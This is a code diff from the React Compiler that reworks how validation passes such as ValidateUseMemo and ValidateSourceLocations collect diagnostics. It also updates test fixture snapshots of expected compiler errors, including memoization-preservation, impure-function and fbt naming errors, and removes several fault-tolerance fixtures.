@@ -426,7 +428,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
this.temporaries,
state.manualMemoState.decls,
state.manualMemoState.depsFromSource,
state.env,
state.errors,
state.manualMemoState.loc,
);
}
@@ -486,25 +488,16 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
ids.add(value.place.identifier);
}
if (value.kind === 'StartMemoize') {
let depsFromSource: Array<ManualMemoDependency> | null = null;
if (value.deps != null) {
depsFromSource = value.deps;
}
CompilerError.invariant(state.manualMemoState == null, {
reason: 'Unexpected nested StartMemoize instructions',
description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,
loc: value.loc,
});
if (value.hasInvalidDeps === true) {
/*
* ValidateExhaustiveDependencies already reported an error for this
* memo block, skip validation to avoid duplicate errors
*/
return;
}
let depsFromSource: Array<ManualMemoDependency> | null = null;
if (value.deps != null) {
depsFromSource = value.deps;
}
state.manualMemoState = {
loc: instruction.loc,
decls: new Set(),
@@ -538,7 +531,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
!this.scopes.has(identifier.scope.id) &&
!this.prunedScopes.has(identifier.scope.id)
) {
state.env.recordError(
state.errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.PreserveManualMemo,
reason: 'Existing memoization could not be preserved',
@@ -556,15 +549,12 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
}
}
if (value.kind === 'FinishMemoize') {
if (state.manualMemoState == null) {
// StartMemoize had invalid deps, skip validation
return;
}
CompilerError.invariant(
state.manualMemoState.manualMemoId === value.manualMemoId,
state.manualMemoState != null &&
state.manualMemoState.manualMemoId === value.manualMemoId,
{
reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',
description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
description: `Encountered StartMemoize id=${state.manualMemoState?.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
loc: value.loc,
},
);
@@ -587,7 +577,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
for (const identifier of decls) {
if (isUnmemoized(identifier, this.scopes)) {
state.env.recordError(
state.errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.PreserveManualMemo,
reason: 'Existing memoization could not be preserved',

View File

@@ -7,7 +7,7 @@
import {NodePath} from '@babel/traverse';
import * as t from '@babel/types';
import {CompilerDiagnostic, ErrorCategory} from '..';
import {CompilerDiagnostic, CompilerError, ErrorCategory} from '..';
import {CodegenFunction} from '../ReactiveScopes';
import {Environment} from '../HIR/Environment';
@@ -125,6 +125,8 @@ export function validateSourceLocations(
generatedAst: CodegenFunction,
env: Environment,
): void {
const errors = new CompilerError();
/*
* Step 1: Collect important locations from the original source
* Note: Multiple node types can share the same location (e.g. VariableDeclarator and Identifier)
@@ -239,7 +241,7 @@ export function validateSourceLocations(
loc: t.SourceLocation,
nodeType: string,
): void => {
env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.Todo,
reason: 'Important source location missing in generated code',
@@ -259,7 +261,7 @@ export function validateSourceLocations(
expectedType: string,
actualTypes: Set<string>,
): void => {
env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.Todo,
reason:
@@ -307,4 +309,8 @@ export function validateSourceLocations(
}
}
}
for (const detail of errors.details) {
env.recordError(detail);
}
}

View File

@@ -16,13 +16,13 @@ import {
IdentifierId,
SourceLocation,
} from '../HIR';
import {Environment} from '../HIR/Environment';
import {
eachInstructionValueOperand,
eachTerminalOperand,
} from '../HIR/visitors';
export function validateUseMemo(fn: HIRFunction): void {
const errors = new CompilerError();
const voidMemoErrors = new CompilerError();
const useMemos = new Set<IdentifierId>();
const react = new Set<IdentifierId>();
@@ -90,7 +90,7 @@ export function validateUseMemo(fn: HIRFunction): void {
firstParam.kind === 'Identifier'
? firstParam.loc
: firstParam.place.loc;
fn.env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: 'useMemo() callbacks may not accept parameters',
@@ -106,7 +106,7 @@ export function validateUseMemo(fn: HIRFunction): void {
}
if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {
fn.env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason:
@@ -122,7 +122,7 @@ export function validateUseMemo(fn: HIRFunction): void {
);
}
validateNoContextVariableAssignment(body.loweredFunc.func, fn.env);
validateNoContextVariableAssignment(body.loweredFunc.func, errors);
if (fn.env.config.validateNoVoidUseMemo) {
if (!hasNonVoidReturn(body.loweredFunc.func)) {
@@ -176,11 +176,14 @@ export function validateUseMemo(fn: HIRFunction): void {
}
}
fn.env.logErrors(voidMemoErrors.asResult());
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}
function validateNoContextVariableAssignment(
fn: HIRFunction,
env: Environment,
errors: CompilerError,
): void {
const context = new Set(fn.context.map(place => place.identifier.id));
for (const block of fn.body.blocks.values()) {
@@ -189,7 +192,7 @@ function validateNoContextVariableAssignment(
switch (value.kind) {
case 'StoreContext': {
if (context.has(value.lvalue.place.identifier.id)) {
env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason:

View File

@@ -10,7 +10,7 @@ import invariant from 'invariant';
import {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';
import type {Logger, LoggerEvent} from '../Entrypoint';
it('logs successful compilation', () => {
it('logs succesful compilation', () => {
const logs: [string | null, LoggerEvent][] = [];
const logger: Logger = {
logEvent(filename, event) {

View File

@@ -24,9 +24,9 @@ function useThing(fn) {
```
Found 1 error:
Error: Expected a non-reserved identifier name
Invariant: [HIRBuilder] Unexpected null block
`this` is a reserved word in JavaScript and cannot be used as an identifier name.
expected block 0 to exist.
```

View File

@@ -21,15 +21,15 @@ export const FIXTURE_ENTRYPOINT = {
```
Found 1 error:
Todo: [hoisting] EnterSSA: Expected identifier to be defined before being used
Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
Identifier x$1 is undefined.
<unknown> x$1.
error.dont-hoist-inline-reference.ts:3:2
error.dont-hoist-inline-reference.ts:3:21
1 | import {identity} from 'shared-runtime';
2 | function useInvalid() {
> 3 | const x = identity(x);
| ^^^^^^^^^^^^^^^^^^^^^^ [hoisting] EnterSSA: Expected identifier to be defined before being used
| ^ this is uninitialized
4 | return x;
5 | }
6 |

View File

@@ -15,7 +15,7 @@ function component(a, b) {
## Error
```
Found 2 errors:
Found 3 errors:
Error: useMemo() callbacks may not be async or generator functions
@@ -47,6 +47,22 @@ error.invalid-ReactUseMemo-async-callback.ts:3:10
6 | }
Inferred dependencies: `[a]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-ReactUseMemo-async-callback.ts:2:24
1 | function component(a, b) {
> 2 | let x = React.useMemo(async () => {
| ^^^^^^^^^^^^^
> 3 | await a;
| ^^^^^^^^^^^^
> 4 | }, []);
| ^^^^ Could not preserve existing manual memoization
5 | return x;
6 | }
7 |
```

View File

@@ -17,7 +17,7 @@ function Component() {
## Error
```
Found 3 errors:
Found 6 errors:
Error: Cannot call impure function during render
@@ -57,6 +57,45 @@ error.invalid-impure-functions-in-render.ts:6:15
7 | return <Foo date={date} now={now} rand={rand} />;
8 | }
9 |
Error: Cannot call impure function during render
`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
error.invalid-impure-functions-in-render.ts:4:15
2 |
3 | function Component() {
> 4 | const date = Date.now();
| ^^^^^^^^ Cannot call impure function
5 | const now = performance.now();
6 | const rand = Math.random();
7 | return <Foo date={date} now={now} rand={rand} />;
Error: Cannot call impure function during render
`performance.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
error.invalid-impure-functions-in-render.ts:5:14
3 | function Component() {
4 | const date = Date.now();
> 5 | const now = performance.now();
| ^^^^^^^^^^^^^^^ Cannot call impure function
6 | const rand = Math.random();
7 | return <Foo date={date} now={now} rand={rand} />;
8 | }
Error: Cannot call impure function during render
`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
error.invalid-impure-functions-in-render.ts:6:15
4 | const date = Date.now();
5 | const now = performance.now();
> 6 | const rand = Math.random();
| ^^^^^^^^^^^ Cannot call impure function
7 | return <Foo date={date} now={now} rand={rand} />;
8 | }
9 |
```

View File

@@ -15,7 +15,7 @@ function component(a, b) {
## Error
```
Found 2 errors:
Found 3 errors:
Error: useMemo() callbacks may not be async or generator functions
@@ -47,6 +47,22 @@ error.invalid-useMemo-async-callback.ts:3:10
6 | }
Inferred dependencies: `[a]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-useMemo-async-callback.ts:2:18
1 | function component(a, b) {
> 2 | let x = useMemo(async () => {
| ^^^^^^^^^^^^^
> 3 | await a;
| ^^^^^^^^^^^^
> 4 | }, []);
| ^^^^ Could not preserve existing manual memoization
5 | return x;
6 | }
7 |
```

View File

@@ -13,7 +13,7 @@ function component(a, b) {
## Error
```
Found 2 errors:
Found 3 errors:
Error: useMemo() callbacks may not accept parameters
@@ -40,6 +40,18 @@ error.invalid-useMemo-callback-args.ts:2:23
5 |
Inferred dependencies: `[a]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-useMemo-callback-args.ts:2:18
1 | function component(a, b) {
> 2 | let x = useMemo(c => a, []);
| ^^^^^^ Could not preserve existing manual memoization
3 | return x;
4 | }
5 |
```

View File

@@ -0,0 +1,39 @@
## Input
```javascript
function useFoo(props: {value: {x: string; y: string} | null}) {
const value = props.value;
return createArray(value?.x, value?.y)?.join(', ');
}
function createArray<T>(...args: Array<T>): Array<T> {
return args;
}
export const FIXTURE_ENTRYPONT = {
fn: useFoo,
props: [{value: null}],
};
```
## Error
```
Found 1 error:
Todo: Unexpected terminal kind `optional` for optional fallthrough block
error.todo-optional-call-chain-in-optional.ts:3:21
1 | function useFoo(props: {value: {x: string; y: string} | null}) {
2 | const value = props.value;
> 3 | return createArray(value?.x, value?.y)?.join(', ');
| ^^^^^^^^ Unexpected terminal kind `optional` for optional fallthrough block
4 | }
5 |
6 | function createArray<T>(...args: Array<T>): Array<T> {
```

View File

@@ -3,10 +3,8 @@
```javascript
// @validateRefAccessDuringRender:true
import {mutate} from 'shared-runtime';
function Foo(props, ref) {
mutate(ref.current);
console.log(ref.current);
return <div>{props.bar}</div>;
}
@@ -28,14 +26,14 @@ Error: Cannot access refs during render
React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
error.validate-mutate-ref-arg-in-render.ts:5:9
3 |
4 | function Foo(props, ref) {
> 5 | mutate(ref.current);
| ^^^^^^^^^^^ Passing a ref to a function may read its value during render
6 | return <div>{props.bar}</div>;
7 | }
8 |
error.validate-mutate-ref-arg-in-render.ts:3:14
1 | // @validateRefAccessDuringRender:true
2 | function Foo(props, ref) {
> 3 | console.log(ref.current);
| ^^^^^^^^^^^ Passing a ref to a function may read its value during render
4 | return <div>{props.bar}</div>;
5 | }
6 |
```

View File

@@ -1,8 +1,6 @@
// @validateRefAccessDuringRender:true
import {mutate} from 'shared-runtime';
function Foo(props, ref) {
mutate(ref.current);
console.log(ref.current);
return <div>{props.bar}</div>;
}

View File

@@ -51,7 +51,7 @@ function Component({x, y, z}) {
## Error
```
Found 4 errors:
Found 6 errors:
Error: Found missing/extra memoization dependencies
@@ -157,6 +157,48 @@ error.invalid-exhaustive-deps.ts:37:13
40 | }, []);
Inferred dependencies: `[ref]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x.y.z.a.b`, but the source dependencies were [x?.y.z.a?.b.z]. Inferred different dependency than source.
error.invalid-exhaustive-deps.ts:14:20
12 | // ok, not our job to type check nullability
13 | }, [x.y.z.a]);
> 14 | const c = useMemo(() => {
| ^^^^^^^
> 15 | return x?.y.z.a?.b;
| ^^^^^^^^^^^^^^^^^^^^^^^
> 16 | // error: too precise
| ^^^^^^^^^^^^^^^^^^^^^^^
> 17 | }, [x?.y.z.a?.b.z]);
| ^^^^ Could not preserve existing manual memoization
18 | const d = useMemo(() => {
19 | return x?.y?.[(console.log(y), z?.b)];
20 | // ok
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `ref`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-exhaustive-deps.ts:35:21
33 | const ref2 = useRef(null);
34 | const ref = z ? ref1 : ref2;
> 35 | const cb = useMemo(() => {
| ^^^^^^^
> 36 | return () => {
| ^^^^^^^^^^^^^^^^^^
> 37 | return ref.current;
| ^^^^^^^^^^^^^^^^^^
> 38 | };
| ^^^^^^^^^^^^^^^^^^
> 39 | // error: ref is a stable type but reactive
| ^^^^^^^^^^^^^^^^^^
> 40 | }, []);
| ^^^^ Could not preserve existing manual memoization
41 | return <Stringify results={[a, b, c, d, e, f, cb]} />;
42 | }
43 |
```

View File

@@ -22,7 +22,7 @@ function useHook() {
## Error
```
Found 1 error:
Found 2 errors:
Error: Found missing memoization dependencies
@@ -38,6 +38,19 @@ error.invalid-missing-nonreactive-dep-unmemoized.ts:11:31
14 |
Inferred dependencies: `[object]`
Compilation Skipped: Existing memoization could not be preserved
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `object`, but the source dependencies were []. Inferred dependency not present in source.
error.invalid-missing-nonreactive-dep-unmemoized.ts:11:24
9 | useIdentity();
10 | object.x = 0;
> 11 | const array = useMemo(() => [object], []);
| ^^^^^^^^^^^^^^ Could not preserve existing manual memoization
12 | return array;
13 | }
14 |
```

View File

@@ -1,66 +0,0 @@
## Input
```javascript
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `try/finally` is not supported
* Error 2 (InferMutationAliasingEffects): Mutation of frozen props
*/
function Component(props) {
// Error: try/finally (Todo from BuildHIR)
try {
doWork();
} finally {
doCleanup();
}
// Error: mutating frozen props
props.value = 1;
return <div>{props.value}</div>;
}
```
## Error
```
Found 2 errors:
Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
error.try-finally-and-mutation-of-props.ts:9:2
7 | function Component(props) {
8 | // Error: try/finally (Todo from BuildHIR)
> 9 | try {
| ^^^^^
> 10 | doWork();
| ^^^^^^^^^^^^^
> 11 | } finally {
| ^^^^^^^^^^^^^
> 12 | doCleanup();
| ^^^^^^^^^^^^^
> 13 | }
| ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
14 |
15 | // Error: mutating frozen props
16 | props.value = 1;
Error: This value cannot be modified
Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
error.try-finally-and-mutation-of-props.ts:16:2
14 |
15 | // Error: mutating frozen props
> 16 | props.value = 1;
| ^^^^^ value cannot be modified
17 |
18 | return <div>{props.value}</div>;
19 | }
```

View File

@@ -1,19 +0,0 @@
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `try/finally` is not supported
* Error 2 (InferMutationAliasingEffects): Mutation of frozen props
*/
function Component(props) {
// Error: try/finally (Todo from BuildHIR)
try {
doWork();
} finally {
doCleanup();
}
// Error: mutating frozen props
props.value = 1;
return <div>{props.value}</div>;
}

View File

@@ -1,69 +0,0 @@
## Input
```javascript
// @validateRefAccessDuringRender
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `try/finally` is not supported
* Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
*/
function Component() {
const ref = useRef(null);
// Error: try/finally (Todo from BuildHIR)
try {
doSomething();
} finally {
cleanup();
}
// Error: reading ref during render
const value = ref.current;
return <div>{value}</div>;
}
```
## Error
```
Found 2 errors:
Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
error.try-finally-and-ref-access.ts:12:2
10 |
11 | // Error: try/finally (Todo from BuildHIR)
> 12 | try {
| ^^^^^
> 13 | doSomething();
| ^^^^^^^^^^^^^^^^^^
> 14 | } finally {
| ^^^^^^^^^^^^^^^^^^
> 15 | cleanup();
| ^^^^^^^^^^^^^^^^^^
> 16 | }
| ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
17 |
18 | // Error: reading ref during render
19 | const value = ref.current;
Error: Cannot access refs during render
React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
error.try-finally-and-ref-access.ts:19:16
17 |
18 | // Error: reading ref during render
> 19 | const value = ref.current;
| ^^^^^^^^^^^ Cannot access ref value during render
20 |
21 | return <div>{value}</div>;
22 | }
```

View File

@@ -1,22 +0,0 @@
// @validateRefAccessDuringRender
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `try/finally` is not supported
* Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
*/
function Component() {
const ref = useRef(null);
// Error: try/finally (Todo from BuildHIR)
try {
doSomething();
} finally {
cleanup();
}
// Error: reading ref during render
const value = ref.current;
return <div>{value}</div>;
}

View File

@@ -1,86 +0,0 @@
## Input
```javascript
// @validateRefAccessDuringRender
/**
* Fault tolerance test: three independent errors should all be reported.
*
* Error 1 (BuildHIR): `try/finally` is not supported
* Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
* Error 3 (InferMutationAliasingEffects): Mutation of frozen props
*/
function Component(props) {
const ref = useRef(null);
// Error: try/finally (Todo from BuildHIR)
try {
doWork();
} finally {
cleanup();
}
// Error: reading ref during render
const value = ref.current;
// Error: mutating frozen props
props.items = [];
return <div>{value}</div>;
}
```
## Error
```
Found 3 errors:
Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
error.try-finally-ref-access-and-mutation.ts:13:2
11 |
12 | // Error: try/finally (Todo from BuildHIR)
> 13 | try {
| ^^^^^
> 14 | doWork();
| ^^^^^^^^^^^^^
> 15 | } finally {
| ^^^^^^^^^^^^^
> 16 | cleanup();
| ^^^^^^^^^^^^^
> 17 | }
| ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
18 |
19 | // Error: reading ref during render
20 | const value = ref.current;
Error: This value cannot be modified
Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
error.try-finally-ref-access-and-mutation.ts:23:2
21 |
22 | // Error: mutating frozen props
> 23 | props.items = [];
| ^^^^^ value cannot be modified
24 |
25 | return <div>{value}</div>;
26 | }
Error: Cannot access refs during render
React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
error.try-finally-ref-access-and-mutation.ts:20:16
18 |
19 | // Error: reading ref during render
> 20 | const value = ref.current;
| ^^^^^^^^^^^ Cannot access ref value during render
21 |
22 | // Error: mutating frozen props
23 | props.items = [];
```

View File

@@ -1,26 +0,0 @@
// @validateRefAccessDuringRender
/**
* Fault tolerance test: three independent errors should all be reported.
*
* Error 1 (BuildHIR): `try/finally` is not supported
* Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
* Error 3 (InferMutationAliasingEffects): Mutation of frozen props
*/
function Component(props) {
const ref = useRef(null);
// Error: try/finally (Todo from BuildHIR)
try {
doWork();
} finally {
cleanup();
}
// Error: reading ref during render
const value = ref.current;
// Error: mutating frozen props
props.items = [];
return <div>{value}</div>;
}

View File

@@ -1,54 +0,0 @@
## Input
```javascript
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
* Error 2 (InferMutationAliasingEffects): Mutation of frozen props
*/
function Component(props) {
// Error: var declaration (Todo from BuildHIR)
var items = props.items;
// Error: mutating frozen props (detected during inference)
props.items = [];
return <div>{items.length}</div>;
}
```
## Error
```
Found 2 errors:
Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
error.var-declaration-and-mutation-of-props.ts:9:2
7 | function Component(props) {
8 | // Error: var declaration (Todo from BuildHIR)
> 9 | var items = props.items;
| ^^^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
10 |
11 | // Error: mutating frozen props (detected during inference)
12 | props.items = [];
Error: This value cannot be modified
Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
error.var-declaration-and-mutation-of-props.ts:12:2
10 |
11 | // Error: mutating frozen props (detected during inference)
> 12 | props.items = [];
| ^^^^^ value cannot be modified
13 |
14 | return <div>{items.length}</div>;
15 | }
```

View File

@@ -1,15 +0,0 @@
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
* Error 2 (InferMutationAliasingEffects): Mutation of frozen props
*/
function Component(props) {
// Error: var declaration (Todo from BuildHIR)
var items = props.items;
// Error: mutating frozen props (detected during inference)
props.items = [];
return <div>{items.length}</div>;
}

View File

@@ -1,62 +0,0 @@
## Input
```javascript
// @validateRefAccessDuringRender
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
* Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
*/
function Component() {
const ref = useRef(null);
// Error: var declaration (Todo from BuildHIR)
var items = [1, 2, 3];
// Error: reading ref during render
const value = ref.current;
return (
<div>
{value}
{items.length}
</div>
);
}
```
## Error
```
Found 2 errors:
Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
error.var-declaration-and-ref-access.ts:12:2
10 |
11 | // Error: var declaration (Todo from BuildHIR)
> 12 | var items = [1, 2, 3];
| ^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
13 |
14 | // Error: reading ref during render
15 | const value = ref.current;
Error: Cannot access refs during render
React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
error.var-declaration-and-ref-access.ts:15:16
13 |
14 | // Error: reading ref during render
> 15 | const value = ref.current;
| ^^^^^^^^^^^ Cannot access ref value during render
16 |
17 | return (
18 | <div>
```

View File

@@ -1,23 +0,0 @@
// @validateRefAccessDuringRender
/**
* Fault tolerance test: two independent errors should both be reported.
*
* Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
* Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
*/
function Component() {
const ref = useRef(null);
// Error: var declaration (Todo from BuildHIR)
var items = [1, 2, 3];
// Error: reading ref during render
const value = ref.current;
return (
<div>
{value}
{items.length}
</div>
);
}

View File

@@ -50,7 +50,7 @@ export const FIXTURE_ENTRYPOINT = {
## Error
```
Found 4 errors:
Found 1 error:
Todo: Support local variables named `fbt`
@@ -60,49 +60,10 @@ error.todo-fbt-as-local.ts:18:19
16 |
17 | function Foo(props) {
> 18 | const getText1 = fbt =>
| ^^^ Support local variables named `fbt`
| ^^^ Rename to avoid conflict with fbt plugin
19 | fbt(
20 | `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
21 | '(description) Greeting'
Todo: Support local variables named `fbt`
Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
error.todo-fbt-as-local.ts:18:19
16 |
17 | function Foo(props) {
> 18 | const getText1 = fbt =>
| ^^^ Support local variables named `fbt`
19 | fbt(
20 | `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
21 | '(description) Greeting'
Todo: Support local variables named `fbt`
Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
error.todo-fbt-as-local.ts:18:19
16 |
17 | function Foo(props) {
> 18 | const getText1 = fbt =>
| ^^^ Support local variables named `fbt`
19 | fbt(
20 | `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
21 | '(description) Greeting'
Todo: Support local variables named `fbt`
Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
error.todo-fbt-as-local.ts:24:19
22 | );
23 |
> 24 | const getText2 = fbt =>
| ^^^ Support local variables named `fbt`
25 | fbt(
26 | `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,
27 | '(description) Greeting2'
```

View File

@@ -16,15 +16,17 @@ function Component(props) {
```
Found 1 error:
Invariant: <fbt> tags should be module-level imports
Todo: Support local variables named `fbt`
error.todo-locally-require-fbt.ts:4:10
2 | const fbt = require('fbt');
Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
error.todo-locally-require-fbt.ts:2:8
1 | function Component(props) {
> 2 | const fbt = require('fbt');
| ^^^ Rename to avoid conflict with fbt plugin
3 |
> 4 | return <fbt desc="Description">{'Text'}</fbt>;
| ^^^ <fbt> tags should be module-level imports
4 | return <fbt desc="Description">{'Text'}</fbt>;
5 | }
6 |
```

View File

@@ -58,6 +58,7 @@ export const FIXTURE_ENTRYPOINT = {
## Logs
```
{"kind":"CompileError","detail":{"options":{"category":"PreserveManualMemo","reason":"Existing memoization could not be preserved","description":"React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `value`, but the source dependencies were []. Inferred dependency not present in source","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":9,"column":31,"index":337},"end":{"line":9,"column":52,"index":358},"filename":"dynamic-gating-bailout-nopanic.ts"},"message":"Could not preserve existing manual memoization"}]}},"fnLoc":null}
{"kind":"CompileError","fnLoc":{"start":{"line":6,"column":0,"index":255},"end":{"line":16,"column":1,"index":482},"filename":"dynamic-gating-bailout-nopanic.ts"},"detail":{"options":{"category":"PreserveManualMemo","reason":"Existing memoization could not be preserved","description":"React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `value`, but the source dependencies were []. Inferred dependency not present in source","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":9,"column":31,"index":337},"end":{"line":9,"column":52,"index":358},"filename":"dynamic-gating-bailout-nopanic.ts"},"message":"Could not preserve existing manual memoization"}]}}}
```

View File

@@ -1,44 +0,0 @@
## Input
```javascript
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
import {useEffect, useState} from 'react';
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
function Component({value = new Number()}) {
const [state, setState] = useState(0);
useEffect(() => {
setState(s => s + 1);
});
return state;
}
```
## Code
```javascript
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
import { useEffect, useState } from "react";
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
function Component({ value = new Number() }) {
const [state, setState] = useState(0);
useEffect(() => {
setState((s) => s + 1);
});
return state;
}
```
## Logs
```
{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":313},"end":{"line":8,"column":12,"index":321},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":203},"end":{"line":11,"column":1,"index":358},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":0}
```
### Eval output
(kind: exception) Fixture not implemented

View File

@@ -1,11 +0,0 @@
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
import {useEffect, useState} from 'react';
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
function Component({value = new Number()}) {
const [state, setState] = useState(0);
useEffect(() => {
setState(s => s + 1);
});
return state;
}

View File

@@ -17,7 +17,7 @@ function Component() {
## Error
```
Found 3 errors:
Found 6 errors:
Error: Cannot call impure function during render
@@ -57,6 +57,45 @@ error.invalid-impure-functions-in-render.ts:6:15
7 | return <Foo date={date} now={now} rand={rand} />;
8 | }
9 |
Error: Cannot call impure function during render
